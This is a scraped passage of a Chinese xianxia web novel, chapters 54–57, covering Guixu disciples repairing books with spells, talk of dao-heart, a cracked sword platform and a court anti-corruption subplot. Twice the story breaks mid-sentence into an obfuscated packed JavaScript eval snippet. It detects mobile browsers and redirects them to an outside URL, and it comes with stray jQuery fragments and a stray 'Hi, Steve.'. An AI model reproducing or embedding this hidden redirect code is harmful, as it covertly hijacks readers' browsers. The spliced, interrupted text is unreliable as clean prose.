关云铮凑在楚悯耳边用气声说道:“我说吧……她看起来简直像和蒲先生有仇,不对,跟师父好像更是血海深仇……” 楚悯心有戚戚焉:“蒲先生去何处了?什么时候能回来?” 关云铮也很绝望:“都不上课,我估计她最早也得明日回归墟吧。” 谁料话音刚落,连廊上就传来蒲飞鸢说话的声音:“不是还有一日吗?我还在山下吃云吞呢,突然传信给我是做什……” 她话还没说完,人已经走到了能看见院中几人的位置,一眼看见了章存舒对面坐着的人,剩下半字被她生生咽了:“小雨?你怎么在这?” 关云铮和楚悯不约而同看向苏逢雨,只见几息前冷着脸,说话时语气里的不悦都能凝成冰碴子的人,在听见蒲飞鸢的声音后立刻起身,快走几步到连廊前,用关云铮认识她这不到一天来从没听过的,堪称甜美的声音说道:“飞鸢姐姐!” **** 今日晚饭吃得早,吃完时日薄西山,尚未完全落下。 闻越相当熟练地和江却一起刷洗干净碗筷,擦过桌子,撂下一句“我去给褚老收书”就飞奔出去了。 连映站在江却身后接过盘子和碗筷:“褚老这个时间,应该已经把书收回去了吧?” 江却没抬头:“他不去当心挨批。” 连映笑起来:“那倒是,褚老现今脾气好多了,但依旧逮着他批评。” 江却擦干双手:“褚老对事要求要比师门严苛一些,多让小越在褚老身边待一待也好。” 连映奇道:“你现在说话比师父还像师父。” 江却一愣,摇摇头笑道:“师父喜欢逗人玩,好像尤其喜欢逗云崽。” 连映笑着拿手指他:“你看你看,我说什么来着,你也开始叫云崽了吧?” 江却这才意识到刚才说的什么,失笑:“没办法,你们都叫她云崽,我一人叫她云铮,反倒让她觉得我太过严肃难以沟通,你看她方才,寻常话题都不敢来问我。” 连映叹了口气:“行行好吧你,那对我们来说已经过去了,是寻常话题,但云崽心思敏感着呢,哪怕是我说不介意,估计短时间内也不会再提起了。” 两人并肩往外走,江却想了想还是问道:“我觉得云崽在她这个年纪,心思重了些,”说完他自觉不妥,“倒不是说她城府深沉……” 连映接上他的话茬:“我知道,我觉着是她先前家中对她不太好,这么小的年纪心思敏感,多半是在家中看眼色看多了。” 江却沉默了一会儿,又说:“小悯也有一些,还是天问就是这样的?” 连映不想在聊这种话题笑出声来,但实在是被江却的话逗笑了:“我怎么会知道,我也只见过小悯一个天问呀。” 江却也笑:“说的也是。” “不过可能,仙门之外,十四五岁的女孩子都有些与云崽类似的苦处吧,放到外面看,云崽可能也只是寻常姑娘。”连映感慨道。 毕竟他们是在仙门长大的,师父还是个乐善好施的纨绔公子,很小的时候开始就不用操心那些凡俗的琐碎,连映不用在十四五岁的年纪操心自己的婚姻嫁娶身不由己,江却不用担心家世不好,在娶亲的时候自惭什么门不当户不对。 每年都有许多的人踏破各地仙门的门槛,只为了谋求一个在仙山上的位置,想要出人头地之外,也有逃避凡俗的原因在吧。 哪怕仙门式微已成定局,也会有许多人试图扶大厦于将倾,因为仙门之于他们,是登天的长阶,是避世的桃源。 55.第 55 章 闻越还没跑到练武场,隔了些距离就看见严骛正把地上的书册收起来,不知是给褚老默书到现在所以双臂酸软无力,还是单纯四体不勤,居然没能把所有的书册一口气抱起来。 闻越叹了口气,快走几步过去:“我来吧。” 严骛没听见他的脚步声,视线又被怀里的书堆挡住了,骤然听见他的声音,吓了一跳,怀里的书顿时晃得更厉害了。 闻越伸手托了一把,虽然不喜欢仙盟人,但人家现在毕竟是在给归墟的教书先生做事,因此尽量和颜悦色道:“严前辈,我看您也累了,不如我给褚老送去吧?” 严骛入仙盟比闻越入门还要早一些,自然没见过他,因此颇有些疑惑地问:“你是今年的教习弟子?” 闻越抱着从严骛手里接过来的书卷:“那倒不是。” 不过说起来,今日过去这些弟子下山就该有两日了,怎么除了云崽和小悯之外,还没有人回来? 闻越不着痕迹地看了眼走在一边的严骛,心说这些弟子不回来也好,免得见到严骛横生枝节。虽然那法器现今不在他身上,不用担心测灵根和天赋这种相当窥探的事发生在弟子们身上,但保不齐这人见着弟子要问东问西,那也够恼人的了。 学堂已经亮了灯,褚鹤贤还在书案前默书,听见两人的脚步声没抬头:“今日这么早就吃完饭了?” 闻越抱着书卷走到褚鹤贤旁边一张书案,把书堆放下:“这不是生怕您的宝贝们在外面沾上露水,紧赶慢赶地来了。” 褚鹤贤懒得点评他的花言巧语,看了眼走在闻越身后的严骛:“今日多谢你了,现在这小子来了,你累了就回去歇着吧。” 严骛看上去很想逞强一句自己不累,闻越靠在书案上:“严前辈可别小看默书,今日只是双臂酸软,要是您接着默下去,明日手腕可就要抬不起来了。” 褚鹤贤朝着严骛摆摆手:“回去吧。” 严骛只好对着褚鹤贤行了个礼:“那学生就先告退了,先生也务必早些休息。” 闻越看着严骛走出学堂后才转过身在书案边坐下,对褚鹤贤说道:“他真在这默了一下午的书?” 褚鹤贤放下笔,把手腕搭在桌边休息:“像是没听人对他说过好话。”他这样的烂脾气只是稍微收敛了些,严骛的神情活像是见了慈眉善目的弥勒似的。 闻越神色莫辨:“进入仙盟后怕是真没怎么听过吧。” 书案上放着严骛默好的几页纸,因为墨还没干,都不挨着,摊开成一排。 “字挺好看的。”闻越平心而论,比他刚开始默书时像样多了。 最初他入师门学习,一段日子后被气急的章存舒丢到褚老身边,那时候正是秋天,褚老惯例晒书,看闻越闲不住,又得了章存舒“替我管教一番这小子”的请求,就想出让闻越来补全那些书册被咬坏后缺失的页码。 那时他尚未不精术法,压根没想到笔墨这种痕迹是可以用术法附着在纸页上的,老老实实地研墨誊写了。 那厢褚老在练武场慢悠悠地晒书,本以为闻越会在学堂里琢磨术法,结果晒完书一回来,就见被章存舒评价为“调皮捣蛋”的徒弟,正坐在书案前一笔一划地写着字,听见他的脚步声还抬起头来问:“褚先生,有些卷册我尚未读过,推断不出缺失部分的内容。” 褚鹤贤凑过来一看,发现这小子的字迹还挺板正,于是也没说什么,拿过书册在页码缺失的部分旁边补上几个字又递给他:“照着抄吧,累了就歇着。” 闻越乖乖应了一声,虽没明白才刚开始如何就会累,但还是继续低头誊写了。 他抄书抄了一下午,第二天晨起时手腕酸得险些拿不动筷子,才被惊讶的章存舒告知:以往褚先生都是用术法来补全的。 那会儿他的第一反应甚至是:“啊?那褚先生不会觉得我字难看吧?” 他的便宜师父听了这话哈哈大笑:“先生要是看不上你的字,还会让你抄这些书吗?” 总之一入师门深似海,章存舒经此一事倒是确认了这徒弟也就是皮了点,其他方面没什么问题,因此也就不再因为他时不时的捣蛋行为生气了。 闻越正准备抄书,学堂门口又是一阵低语声,听起来像是他那闲不住的小师妹。 他拿着笔转过身,看见学堂门口探进来两个脑袋。 “你们不是在陪客人说话吗?” 看见闻越回头,两人才一前一后走进来,一起给褚鹤贤行了个礼:“褚先生。” 褚鹤贤点点头,对待自家人他还是相当和颜悦色的,更别说关云铮十分合他眼缘,楚悯懂事乖巧,两人对待课业都很上心,没有对她们急言令色的理由。 两人来之前就从师姐那里得知闻越在帮褚先生抄书,因此各自到闻越的书案上拿了卷册和纸笔,准备帮着誊写。 闻越却伸手阻拦了两人的动作:“我写就行了,你俩要实在想帮忙,就用术法修复吧。” 关云铮和楚悯齐齐回头看向褚鹤贤,发现褚先生也没异议,于是虚心求学道:“什么术法?” 褚鹤贤正要给她们演示,步雁山的声音从几人身后传来:“我来教吧,褚老。” **** 步雁山来得相当及时,虽说褚鹤贤也能熟练运用修复术法,但术业有专攻,自然是教授术法这门课的人来传授知识更为合适,因此褚鹤贤也没多说,对步雁山点了点头:“那我就不多说了。” 步雁山对褚鹤贤行了个礼,在楚悯和关云铮坐的书案后面坐下,示意二人转过来看他。 术法课从御物术开始教习是有理由的,因为多数术法本质上就是在御物术的基础上进行一定的改动与升级,变化的不过是口诀与手势,因此一旦在御物术上建立了牢固的基础,理解其他的术法就变得轻松许多。 两人很快摸索到了修复术法的门道,开始尝试着给面前的书页修复咬坏的部分。 空白的纸页翻飞着,砚台里的墨水被术法操控着往纸页上飞,墨色的字迹逐渐显出痕迹来。 褚鹤贤乐得清闲,坐在书案边问道:“上次布置的文章写完了吗?” 关云铮差点忘了还有篇文章没交:“写完了,何时上交给先生?” 褚鹤贤摆摆手:“倒是不急,我估计其他弟子回来后,会有更多人成功引气入体,等他们写完了一同上交吧。” 楚悯困惑:“为何?” 褚鹤贤看了眼正在默书的闻越:“寻常人会去哪里寻觅武器?” 关云铮手上的动作一顿,一时半刻之间还真被这个问题问住了,毕竟当时得知此事她的第一反应是传送到一个跟魂魄有关的地方去调查真相,压根没想过要找武器:摇羽她都没使利索呢,多找几把剑来都是白搭,徒添负担。 楚悯的思维就比她“正常”多了:“大概武器铺子?或是自己师门中存放武器的地方?” 褚鹤贤颔首:“正是如此。若是去了武器铺子,打造出趁手又称心的武器,少不得审视内心,揣摩自己到底想要什么样的武器,多数修道者的第一把武器都会伴随他们度过最茫然的阶段,因而也最能体现出他们日后的道心。” “道心……能辅助引气入体?” 步雁山点头:“可以,毕竟凝练道心也是修道的一部分,道心破碎,修道者便前功尽弃。” 关云铮若有所思:“那……都得有道心吗?” 褚鹤贤笑了:“怎么,你还想没有道心就能修到金丹期?” “这么多年不曾有过一个没有道心的金丹吗?”关云铮简直想仰天长叹,这也太不特别了! 虽然她并不觉得自己能是那个万里挑一的修道奇才,但这么多年的修仙史里面居然都没法出一个这样的奇才吗? 那真是注定走向衰落的命啊。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15122864|159306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “仙门鼎盛的时候或许有。”一直没说话的闻越冷不丁来了一句。 他默完了一页纸,暂时搁下笔休息:“那时候不拘派别,也没有一以贯之的修成方法,大家各凭本事,有没有道心、修到什么境界都没个定数。”他想了想又说,“再者那时留下来的记录也少,不像现在,稍微有点名气的修士所使用武器、生平经历几乎都为他人所知。” 道心这种东西,说白了就是一条道上走的人太多,为了便于约束管理才出现的称谓。无情道前些年还被称作器道,不就是因为上位者道心出了问题,差点把这个派系都给作没了。 关云铮和楚悯运用术法渐趋熟练,逐渐能一边修补书页一边参与话题的讨论。 楚悯一心二用,问道:“道心大约会在何时稳定形成?” 步雁山也加入修补书页的行列:“这得看你是否清楚自己想要什么。就像有的孩子早慧,有的晚熟,没有定数。但一般来说都会在金丹期左右,最晚不迟于金丹中期。” 关云铮听到这嘀咕了一句:“不知道的还以为金丹里面的馅儿是道心做的呢。” 步雁山和闻越都被她逗笑了,闻越直白道:“你当金丹是包子还是云吞?还有馅儿?” 关云铮不太明显地“哼”了一声,表示自己对于道心这个话题相当不以为意。 外头天色彻底黑沉下来,步雁山先注意到,扭头看向另一边的褚鹤贤:“褚老,天色已晚,不如您先回去休息吧?我在这陪着他们修补卷册。” 褚鹤贤确实有些乏了,人年纪大了虽然觉少,但总是疲惫得很早,因此他也没推辞,应了一声就起身往学堂外走了。 闻越继续低头默书。 其实如今的他大可以像楚悯和关云铮那样用术法来修补书页,但自打最初抄写了一下午卷册后,他就习惯了这种感觉。 抄写时不必思考,不必顾虑,只需要照葫芦画瓢,有利于清空一切繁杂的思绪。 至于劳累手腕这一点,今日有云崽和小悯帮忙,掌门也参与进来,估计明日起来手腕不会太过酸软,筷子还拿得动。 关云铮这时候才回答了闻越方才的问题:“我们本来确实在陪同客人。” 闻越从前桌又转过来,拿着笔一脸疑惑:“然后?之后发生何事了,又不继续作陪了?” 关云铮一时之间不知道怎么形容,语塞了好一会儿。 还是坐在她身边的楚悯组织好了语音,简要叙述道:“那位琴修与蒲先生似乎关系非凡,说起话来他人都插不上话,于是章先生和我们都先行离开了。” 关云铮长这么大,活了两辈子——虽然都才十几二十年,从没哪次觉得自己这么耀眼过。 活像个两百瓦的大灯泡。 苏逢雨见到蒲飞鸢之后,像是被人清空了不愉快的记忆一样,立时就拉着蒲飞鸢的袖子不放,声音低低切切的,脸上的神情看着也十分的我见犹怜。 关云铮看得简直目瞪口呆,没见过这种级别的变脸大师,她和小悯还是先溜为敬。 章存舒却表现出对这个场景接受良好的样子,或许是因为并非初次见识了,但见徒弟带着朋友开溜,没过多久也找了个由头溜走了,如今大概在和师兄师姐聊天。 章存舒去找师兄师姐时两个姑娘正打算从那边离开,遇见师父,心怀戚戚的关云铮故作老成地拍了拍他的肩膀:“夹在两个关系如此之好的好友之间,你这个朋友想必也很难做人吧。” Hi, Steve. 章存舒又是无言又是好笑,好半晌才说:“你也看出来了,我根本没有夹在其中努力做人的机会。” 关云铮继续没大没小:“虽然机会难得,但不能不做人啊!” 说完她就拉着楚悯飞快地跑了。 也不知道谁给她的胆子,可能是经常惹师父不高兴的三师兄吧,嘻。 56.第 56 章 沈时安有些犯困,连续眨了几次眼睛想要让自己清醒些,谁料反而更困了,索性从椅子上站起身醒神。只是还没等她驱逐干净那点困意,就听见屏风后衣料摩擦的声音响起,赶紧打起精神站好。 几息之后,苍韫桢就从屏风后走了出来,看见她站着还困惑道:“沈卿怎么站着?”她一边理着袖子一边看向沈时安身后,“不是有椅子?” 沈时安想了好几种措辞,最后还是如实回答:“坐着总打盹,站着倒清醒些。” 苍韫桢走到桌案边坐下,开始批复早晨那叠看了闹心丢到一边的折子,闻言没抬头,笑道:“想打盹便睡一会儿,朕不在,还能不允吗?” 沈时安看她坐下了才敢坐下,坐在下首的桌案边怪惶恐的:“那岂非玩忽职守……” 苍韫桢从折子上抬起视线,被她逗笑了:“怎么就玩忽职守了?若是因为睡不好无精打采,把本应处理好的公务办砸了,那才是玩忽职守。”她在折子上划了道,又附上几字作为批复,“朕不是让膳房给你准备了午膳?没趁着用膳休息片刻?” 沈时安更惶恐了,同时还有些羞愧,低着头轻声说:“陛下吩咐膳房准备的午膳太丰盛了,臣一时吃多了些,吃完便困得厉害……” “噗。”苍韫桢连折子都批不下去了,一时之间只想笑,笑了好一会儿才说,“喜欢哪几道菜?我让她们记下来。” 沈时安“噌”一下从椅子上站起来:“陛下,这怕是有失体统,膳房是专为您而设的,怎能专门记录臣的喜好……” 苍韫桢摆摆手打断她:“吃得好办公时心情才能好,替朕做事时才会有干劲,这可是变着法儿地奴役你,你怎么还惶恐起来了?” 沈时安一时无言,张口结舌好半晌,才“胆大包天”地问道:“臣有一事不明,一直想问陛下。” 苍韫桢“嗯”了声:“说。” “臣科举时成绩平平,封官这一年来也未有实绩,为何陛下会将臣……”提拔到御书房司记这个天子近臣的位置呢? 手边的折子上都是些狂妄之词,面前这位却如此谨慎自谦,苍韫桢轻叹一声,抬眼看她:“成绩平平?沈卿这话可实在太谦虚了,朕记得你也只是未中三元,似乎是第五?”她搁下笔,“至于实绩,无权哪来实绩?” 沈时安先是被她夸了一句,随即又被她直白的第二句震到,沉默了一会儿才说:“那陛下希望我为您做什么呢?” 苍韫桢重新拿起笔:“你不需要为朕做什么。” 沈时安抿了抿嘴:“臣明白了。” 批好的折子被放到桌案一侧,沈时安正要上前拿走,听见苍韫桢问道:“朕出去这段时间可有人来访?” 沈时安如实回答:“有,恭亲王来了。” 苍韫桢没抬头:“方才为何不说?” 沈时安更老实了:“恭亲王大抵又是为赈灾一事说情而来,臣以为陛下应当不想见他,想着等您先批完折子再说。” 此举僭越,但沈时安是个十分理想化的读书人,不能去往南方赈灾已是憾事,身为亲王居然要为那些贪污粮款的人求情,她理智上知道亲王来了需要即刻禀报,感情上完全懒得搭理,权当正忙着不知道。 苍韫桢这次抬头看了她一眼:“朕确实不想见他。”她放下笔向后靠在软垫上,“恭亲王来多久了?” “快一个时辰了。”沈时安答。 苍韫桢笑起来:“沈卿嘴上谦虚谨慎,实际胆子倒是挺大。若是朕再晚些回来,你打算怎么应对?” 沈时安说得有理有据:“恭亲王已经不是第一次来了,他已熟知您对此事的态度却仍要来,还总是在朝臣都不会来找您的时间来,想必自己也清楚此事缺德亏心,也知道给自己留点脸面,因此大概是不会开罪于臣的。” 王孙贵胄嘛,烂芯儿都是偷偷烂的,表面光鲜一般都会勉力维持,不至于做辱骂她这个小官这种掉价之事。 苍韫桢点头:“不错,就这么干。”她赞许后起身,“走吧,随朕去见见,朕那位号称心怀天下的三皇叔。” **** 闻越没见到苏逢雨,自然也不知道她和蒲飞鸢是何种相处模式,但要让章存舒都插不进话有些难度,倒不是说他师父就是多健谈的人,但师父认识的人这么多,基本都能说上几句话,他还是第一次听说明明他师父跟这两人都熟识,她们聊起来他师父反而插不进话的。 奇了。 关云铮和楚悯掌握了修补术法之后,除了时不时说几句话,其余时候都在聚精会神地修补,因此当闻越休息结束,走神也结束,回过头来准备继续安心默书时,发现桌案上已经没有卷册了。 闻越猛回头看两个师妹:“你们这么快就都修补完了?” 关云铮随手把修补完的几本塞给他,头也没抬:“尚未,但是怕你明早抬不起手,所以偷偷把卷册都拿过来了。” 楚悯深以为然地点点头,不做声地继续修补着。 两人的架势简直还能修补几百本卷册,因此步雁山也只好闲着了,在一边问道:“今日柳相离开了?” 闻越只好专心回答掌门问话:“午后走的。” 步雁山若有所思:“是不是还有其他人来过?” 闻越趁褚鹤贤不在,往后坐在书案上,晃着双腿:“那位也来了。”他忍不住好奇,“她从哪里习得的缩地成寸?掌门知晓吗?” 缩地成寸可不是随便什么修道者都会的,至少得金丹后期才能稳定运用此术法,不然会传到什么地方都是未知数,女帝不仅会用,看她模样甚至用得炉火纯青,想必早就学会了,可她是从哪里学会的? 步雁山笑了笑:“这话怎么不问师兄?” 闻越理直气壮:“自然是逮着谁问谁了,这会儿想起来您又正好在,自然问您。” 关云铮用空着的手给闻越比了个大拇指。 闻越没见过这个手势,但猜想是夸奖的意思,于是满意地点点头收下了。 步雁山笑答:“但此事我确实算不上熟知,只知道她曾有一段时间是与我们一同修习的。” 我们? 关云铮抬头:“您和师父?还有凌师伯?” 步雁山点头,回忆着说:“但那段时日怕是也学不成缩地成寸,又或者是那位对我们有所隐瞒。” 楚悯也抬头:“为何要隐瞒?” 步雁山叹了口气:“事关皇位更迭,不得不隐瞒。” 关云铮一愣,下意识说道:“这是可以说的吗?” 刚凝重起来的氛围骤然被她一句话打破,步雁山又重新笑起来:“现如今自然没什么说不得。” 那倒也是,毕竟女帝都已经坐上皇位了,而且看她样子似乎并不介意这些,嗯……流言蜚语? 关云铮又修补好一卷,想想不对劲,重又抬起头:“既然没什么说不得的,掌门为何提起她时总有些遮掩似的?” 哦不对,她后知后觉地看向十分悠闲的闻越:“师兄,你为何用‘那位’形容她?” 闻越露出一个意味深长的表情:“柳相积威罢了。” 楚悯和关云铮一起:“噗。” “笑什么呢?”章存舒不知道什么时候从学堂门口进来了。 闻越坐在桌案上朝他摆摆手:“师父,我听云崽说你插不进那两位先生的谈话,竟有此事?” 章存舒随手捡起一张纸团成球砸他怀里了:“你不默书了?” 闻越朝两位师妹抬了抬下巴:“多亏了掌门教会她俩修补术法,我如今可无用武之地了。” “那正好,李厨方才说有事想拜托你,你又有用武之地了。”章存舒答道。 闻越疑惑:“李厨有事拜托我?让我日后少吃点?” 关云铮和楚悯忍笑忍到双肩颤抖。 闻越说完这话也想笑,好险忍住了:“我等两位师妹修补完便回去找他。” 章存舒“嗯”了声,走到步雁山旁边:“今日做什么去了,之前都没看到你人影。” 步雁山谈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15133247|159306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起这个就想叹一口疲惫的气:“嵩华练剑,把练剑台劈了。” 关云铮大受震撼,茫然抬头:“练剑台是用什么做的?” 楚悯也有些恍惚了:“若归墟也遵循规制的话,应当是试心玉做的?” 关云铮愣愣接话:“试心玉?有多牢固?” 闻越也一脸被震撼的表情:“总之,这东西没有个百十年的劈砍,是不会出现裂痕的。” 章存舒挑眉:“所以嵩华把试心玉劈裂了?” 步雁山抬手掐住眉心:“是,虽然裂痕不深,但相当明显,确实裂了。” ……牛。 一时之间不知道用什么形容词才能表达她此刻心中的震撼。关云铮手中的术法一时都忘了运行,流淌的墨在纸页上乱作一团。 身旁的楚悯轻咳一声,唤回她走失的神智,关云铮听见楚悯说:“试心玉该如何修补?” 关云铮下意识看向灵气流转的手心,步雁山看穿她在想什么,笑着摇摇头:“试心玉是修补不了的。” 闻越不晃腿了:“那该如何?” 步雁山摊开手:“我费了半天时间把裂痕部分往外移了移。” 虽说修补不好,但总不能让任嵩华继续加深裂痕,只好让她继续劈别的完好的部分了。虽然此举显得亡羊补牢,但好歹补上了不会丢更多的羊了。 虽然更大程度上是扬汤止沸。 关云铮看向章存舒:“师父,以前有人能劈开试心玉吗?” 章存舒笑着叹了口气:“没有,但凡这东西那么容易劈裂开,也不会落得每个仙门只有一块的境地了。” 楚悯之前在天问,多数人不擅体修,剑修更是少之又少,对试心玉的了解很不足,听闻此言忍不住问道:“那若是不巧,当真无法挽救了,该如何?” 章存舒这回是真的在笑了:“这简单,去仙盟那儿讨一块就得了,他们那试心玉多的是。” 莫名有种仙盟是砧板批发商的错觉……试心玉拿来作为练剑台使用,每天不是被刀砍就是被剑劈,怎么不算是一种砧板呢? 至于仙盟,只给其他仙门每处一块试心玉,自己却囤积着许多,又怎么不能算是一种批发商呢?或者准确点说,是试心玉物流服务总部,一次只发一块,不接受无理由退货,不保修,坏了只能另外提出要求,提出要求后份额也依旧是一块。 哇……难怪仙盟人人喊打。 天下人苦行业垄断久矣! 关云铮顷刻间发散完思维,又瞬间收回思绪,继续做手头的修补工作。 章存舒此刻俯身对楚悯道:“明日苏修士便会开始教导你琴修相关,她的住所与蒲先生在一起,明早带你俩去认认门。” 关云铮伸出食指指向自己:“我?” 章存舒点头:“蒲先生说反正闲着没事,看看你剑术生疏了没。” 关云铮:……其实也可以不看的。 楚悯若有所思:“为何不称呼苏琴修为先生?” 章存舒似乎是没料到她会这么问,眉尾挑了挑,随后又卖了个关子:“这问题不如你们明日问她?想必她会有比我更精彩的答案。” 关云铮哪壶不开提哪壶:“师父,你先前不是插不进话吗?怎么传了这么多话?” 不像是插不进话的样子呢。 章存舒没好气:“那两人生怕我不走,吩咐了这些话让我赶紧来知会你们。” “主要是苏琴修吧?蒲先生应该还没看您不顺眼到如此境地。”关云铮理不直气也壮地追问。 章存舒伸手捏了一下她的脸:“你今天揶揄我没完了是吧?跟你三师兄学坏了。” 闻越人在桌上坐,锅从天上来,闻言惊得从桌案上跳下来,就差演一出六月飞雪了:“虽说我确实算不得什么好榜样,但怎么就是我带坏的了?” 关云铮煞有介事地点点头:“确实,不关三师兄的事。” 闻越刚要故作欣慰地看向她,就听关云铮又说:“我是无师自通的,嘿。” 57.第 57 章 南下查访官员私吞粮款一事,任谁来了都知道需要私下进行,毕竟只要那些贪官们得到一丝一毫的风声,抵达时见到的就得是盛世太平阖家幸福的“美好景象”,至于饿死病死的流民,说话的力气都快没了,又怎么可能会被选作这场戏的表演者。 但私下行事容易被反咬一口:安的什么心?预先给人定的什么罪名,犯得着这样试探? 纵然私访查出些什么,由于没有什么可以对簿公堂的证人,对方想要赖账不认也是有可能的。 柳卿知自然做好了这些准备,因此她既没有大张旗鼓,也不打算私下访问,毕竟这两种办法都是对于寻常情状而言的:只抓到其中几个贪赃枉法的,想要拔出萝卜带出泥地找出其他涉案人。 柳卿知此行并非此种情状:她对所有涉案人的姓名心知肚明。 前些年那个器修打造出洞玄——也就是那个可以测出灵根和天赋的法器时,苍韫桢就从章存舒那里得知了此事。那时的苍韫桢还是公主,尚未坐上皇位,因此对于洞玄被仙盟据为己有一事无可奈何,但她也向章存舒保证,她会保证这几年内仙盟不会做出私自制定法则之举。 等到她坐上皇位,首先做的几件事之一,就是从仙盟那里要来了洞玄。 因此临行前苍韫桢便已经知晓了所有涉案人的姓名和所作所为,让柳卿知南下只是让她做个最近熟悉起来的活计——监斩官。 “要不是朝安还有一群蛀虫,我早就南巡去了。不然那些人上哪儿喊冤呢?柳相铁面无私,可不会听他们废话啊。”苍韫桢那时坐在御书房的椅子上笑着说。 至于方才她离开时说的,那也确实不是假话。严骛此行并没有带着洞玄——因为此物在柳卿知身上,并且还是方才苍韫桢来归墟临时交给她的。 洞玄这一类用于勘破的法器所携带的灵气太过强势,如果最初与严骛同行时就带在身上势必会被他感觉到,但来了归墟就没有这顾忌了,因为洞玄携带的灵气再强势也只是一个法器,镇山灵器的威压自然会把它覆盖得不泄露一丝一毫。 至于离开归墟后会否引人注意——“带着它不就是为了引起注意?”——苍韫桢把洞玄交给她时是如此回答的。 “那时我收回洞玄时闹的动静,当今朝堂里还喘气儿的应该都还记着,带着这个也省得同他们多费口舌。” 苍韫桢接手时的朝廷倒不像腐肉生蛆,虽然她对朝堂中的许多人颇为看不惯,但彼时朝廷确实没有烂到那种程度,它更像是参天的树上缠满了各式各样的藤,有危害不那么大仅仅是攀附的,有反客为主汲取树木营养的,一朝扯落,参天大树便会轰然倒塌。 因此大刀阔斧地改革,一把扯掉所有的藤蔓是不可行的,因为他们看准了她只有这一棵树可以依靠,一旦倒塌便似天塌地陷,故而即便藤蔓缠身她也会继续忍受。 所以苍韫桢这几年始终在种树,同时不动声色地、循序渐进地把原来那棵树上的藤蔓扯落下来,现如今柳卿知去南方要除的,便是最后一批。 柳卿知勒住缰绳,洞玄被她的体温捂热,在她颈间伴随着她的动作而晃动。 苍韫桢在她面前把玩过无数次这枚十八面骰,她对它的每一面都无比熟悉,所有的图案都早已铭刻于心。 柳卿知一抖缰绳:“驾!” 她已经迫不及待要看见苍韫桢种下的那棵树枝繁叶茂的样子了。 **** 修补完所有的卷册,又通过实例具体地感受了一番任嵩华的实力,关云铮精神和躯体双重受创,和楚悯一起垂着双手回各自的小院了。 当然,主要是因为运用术法的时间太久,灵气消耗过多,至于任嵩华练剑劈开试心玉这事,如果不是她灵气耗竭,这件事对她来说会比较像是强效肾上腺素。 很想让自己燃起来但燃气没了。关云铮疲惫地想。 灵气使用过度的感觉很奇妙,可能是她才刚引气入体没多久并且尚未筑基,她感受到的和她过往在修仙小说中看到的描述不太一样。 小说里修道者灵气耗尽了如同受了重伤,什么术法也使用不出来,甚至有些需要用灵气辅助运转的武器和法器都无法正常使用。 但她此刻更像是睡眠不足导致的头昏脑涨,并不痛苦,只是困得快厥过去了。 闻越因为被两位师妹体恤,今日几乎没抄几页纸,神清气爽手脚有力,走在关云铮旁边时都快一步一蹦了。 关云铮都没力气无语了,一路拖拖拉拉走到自己小院,简单告了个别后推开房门,“咣当”一声把自己砸进床里。 实在是困乏到了极点,她就先入土为安,不是,入眠了。 ——第二天一早关云铮是被一阵琴声吵醒的。 其实也不是很吵,但实在太杂乱无序了,弹得东一榔头西一棒槌的,但凡规律点她还能在半梦半醒间当个白噪音听,扭头继续把自己陷进被子里。 她行尸走肉般地下了床,简单洗漱过后推开门,果然看见苏逢雨和楚悯坐在门前的石桌边,两人面前各放着一张琴。 蒲飞鸢坐在秋千上,听见开门声,目光很快朝她看过来。 关云铮憋哈欠憋得眼角泪花都出来了,过了好一会儿才说:“你们吃过早饭了?” 蒲飞鸢像是就等着她开口似的,立刻答道:“尚未,等你带我们去蹭饭。” 关云铮机械地点点头:“那先吃早饭去吧。”她正准备关上房门往外走,想起昨晚苏逢雨就没吃东西,问了一句,“苏修士去吗?” 苏逢雨看起来心情一般:“不去,辟谷。” 初见时就已经见识过了苏逢雨的性格,关云铮也没介意,自己跟楚悯手拉手先走了。 两人沿着连廊走了一会儿,都快走过拐角了仍未见到蒲飞鸢,估计她是不会来了。 关云铮很有“背后蛐蛐人”的自觉,这时才看向楚悯问道:“昨日师父不是说,让我们去蒲先生的住处去上课吗?怎么她俩一大早来我们小院了?” 楚悯摇了摇头:“我也不知,我听见琴音才醒来,过来时两位先……修士就是这样了。” 关云铮疑惑:“这样?”这样是哪样? 楚悯的神色也有些疑惑:“我觉得两位修士相处时有些奇怪,好像吵过一架似的,但又说不上来是哪里不对。” 关云铮其实有个猜测,但她觉得自己纯粹是搞同人的时候把脑子搞出问题了,这个猜测活像是在拉娘,于是也没跟楚悯说,只点了点头说:“师父也不说,她们也不说,我们就只能胡乱猜测。等日后她们愿意说了再问吧,总归还是愿意教我们的,我们就虚心听着呗。” 老师之间的恩怨情仇还是不要随意掺和的好,关云铮现在还能想起昨日苏逢雨对章存舒说出那句“你说这话是以什么立场”时的语气,心有余悸地想。 两人抵达饭堂时发现李演不在,不过这倒是不奇怪,李演是个闲不住的性格,每天做完饭就开始行踪不定,师门都习惯了。 奇怪的是闻越也不在。 关云铮在桌边坐下:“师姐,师兄呢?” 连映把筷子递给楚悯:“他随李厨一道下山去了,说是办点事情。” “随李厨一道办事?”关云铮叼着勺子,“要采买食材吗?” 连映笑着摇摇头:“这我就不知晓了,等他回来就知道了。” **** 楚悯跟着苏逢雨回自己的小院,聆听琴修基础知识去了,关云铮则被蒲飞鸢带着在石桌边坐下。 “听苏修士说那日下山你们遇见了?当时用的什么剑招,给我看看。”蒲飞鸢开门见山地说道。 关云铮也很直白地疑惑道:“苏修士没同您说?” 